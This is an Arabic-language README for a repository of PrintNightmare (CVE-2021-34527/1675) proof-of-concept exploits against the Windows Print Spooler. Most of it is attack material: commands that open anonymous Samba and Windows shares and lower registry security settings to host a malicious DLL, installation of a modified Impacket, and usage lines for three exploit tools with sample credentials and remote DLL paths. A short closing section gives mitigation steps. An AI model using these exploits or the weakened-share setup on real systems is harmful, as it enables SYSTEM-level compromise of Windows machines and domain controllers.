
PrintNightmare - استغلالات إثبات المفهوم لثغرة RCE/LPE في Windows Print Spooler (CVE-2021-34527, CVE-2021-1675)
هذه ثغرة تنفيذ تعليمات برمجية عن بُعد يمكن استخدامها للحصول على امتيازات على مستوى SYSTEM من قبل مستخدم بعيد مصادَق ضد أجهزة ويندوز التي تعمل بخدمة التخزين المؤقت للطباعة (Print Spooler). يمكن للمهاجم بعد ذلك استخدام هذا الوصول لإنشاء حسابات جديدة، أو محاولة تثبيت برامج، أو عرض البيانات أو تغييرها أو حذفها، أو إنشاء حسابات جديدة بصلاحيات مستخدم كاملة.
توجد هذه الثغرة بسبب خلل في التحقق من التفويض في خدمة Print Spooler spoolsv.exe على أنظمة ويندوز، والذي يسمح للمستخدمين البعيدين المصادَق عليهم بتثبيت برامج تشغيل الطابعة باستخدام استدعاء RPC الخاص بـ RpcAddPrinterDriver وتحديد ملف برنامج تشغيل موجود في موقع بعيد. يمكن للمستخدم الخبيث الذي يستغل ذلك الحصول على امتيازات على مستوى SYSTEM على نظام ويندوز يعمل بهذه الخدمة عن طريق حقن مكتبات DLL خبيثة كجزء من تثبيت برنامج تشغيل الطابعة.
على الرغم من أن مايكروسوفت أصدرت تحديثًا لـ CVE-2021-1675، إلا أن هذا التحديث لا يحمي وحدات تحكم مجال Active Directory أو أنظمة ويندوز التي تم تكوين Point and Print فيها مع خيار NoWarningNoElevationOnInstall.
يوجد في هذا المستودع ثلاثة تطبيقات لإثبات الاستغلال (PoC):
نظرًا لأن خدمة RPC تسمح للجهاز العميل بتوفير موقع لتنزيل برامج تشغيل الطابعة من قبل الخادم البعيد، يمكن استخدام الخيارات التالية لاستضافة الحمولة وتحديد المسار عند تشغيل الاستغلال:
لإعداد وصول الضيف في Samba، تحتاج إلى إعداد مستخدم سيتم تسجيل الدخول به. تأكد من وجود مستخدم smbuser في النظام، وإلا قم بإنشاء واحد بكلمة مرور password
id -u smbuser &>/dev/null || useradd -p $(openssl passwd -1 password) smbuser
قم بتحرير /etc/samba/smb.conf وقم بتمكين الوصول المجهول
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuser
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot
فيما يلي تعليمات محدثة قليلاً عن تلك المقدمة من cube0x0:
هذا هو تطبيق Impacket لاستغلال Printnightmare بواسطة cube0x0. قبل تشغيل الاستغلال، تحتاج إلى تثبيت نسخة معدلة من Impacket:
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
يجب تشغيل كود استغلال هذه الثغرة باستخدام بايثون 3
usage: CVE-2021-34527.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share
CVE-2021-1675/34527 implementation.
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
share Path to DLL. Example '\\10.10.10.10\share\evil.dll'
optional arguments:
-h, --help show this help message and exit
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
connection:
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
and you cannot resolve it
-port [destination port]
Destination port to connect to SMB Server
Example;
./CVE-2021-34527.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-34527.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'
يحتوي دليل SharpPrintNightmare/ على تطبيق C# لاستغلال Printnightmare، لكل من رفع الامتيازات المحلية (LPE) (CVE-2021-1675) وتنفيذ التعليمات البرمجية عن بُعد (RCE). تتطلب وظيفة RCE التنفيذ بصلاحيات مسؤول محلي على الجهاز الذي يقوم بتشغيل الاستغلال.
#LPE
C:\SharpPrintNightmare.exe C:\addCube.dll
#RCE using existing context
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'
#RCE using runas /netonly
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' domain.local domain_username password
.\PrintNightmare.exe dc_ip path_to_exp user_name password
Example:
.\PrintNightmare.exe 192.168.5.129 \\192.168.5.197\test\MyExploit.dll user2 test123##
قم بتشغيل ما يلي:
Get-Service -Name Spooler
إذا كانت خدمة Print Spooler قيد التشغيل أو إذا لم تكن الخدمة مضبوطة على معطلة، فاختر أحد الخيارات التالية إما لتعطيل خدمة Print Spooler، أو لتعطيل الطباعة البعيدة الواردة عبر نهج المجموعة:
إذا كان تعطيل خدمة Print Spooler مناسبًا لمؤسستك، فاستخدم أوامر PowerShell التالية (توصية من مايكروسوفت):
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
أو قم بتعطيل خدمة Spooler باستخدام السجل
Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG_DWORD /d "4" /f
أو قم بإلغاء تثبيت خدمات الطباعة
Uninstall-WindowsFeature Print-Services
سيؤدي هذا إلى تعطيل إمكانية الطباعة محليًا وعن بُعد.
يمكنك أيضًا تكوين الإعدادات عبر نهج المجموعة كما يلي:
Computer Configuration / Administrative Templates / Printers
قم بتعطيل سياسة “Allow Print Spooler to accept client connections:” لمنع الهجمات عن بُعد.
ستحظر هذه السياسة ناقل الهجوم عن بُعد عن طريق منع عمليات الطباعة البعيدة الواردة. لن يعمل النظام بعد الآن كخادم طباعة، لكن الطباعة المحلية إلى جهاز متصل مباشرة ستظل ممكنة.
لمزيد من المعلومات، راجع: استخدام إعدادات نهج المجموعة للتحكم في الطابعات.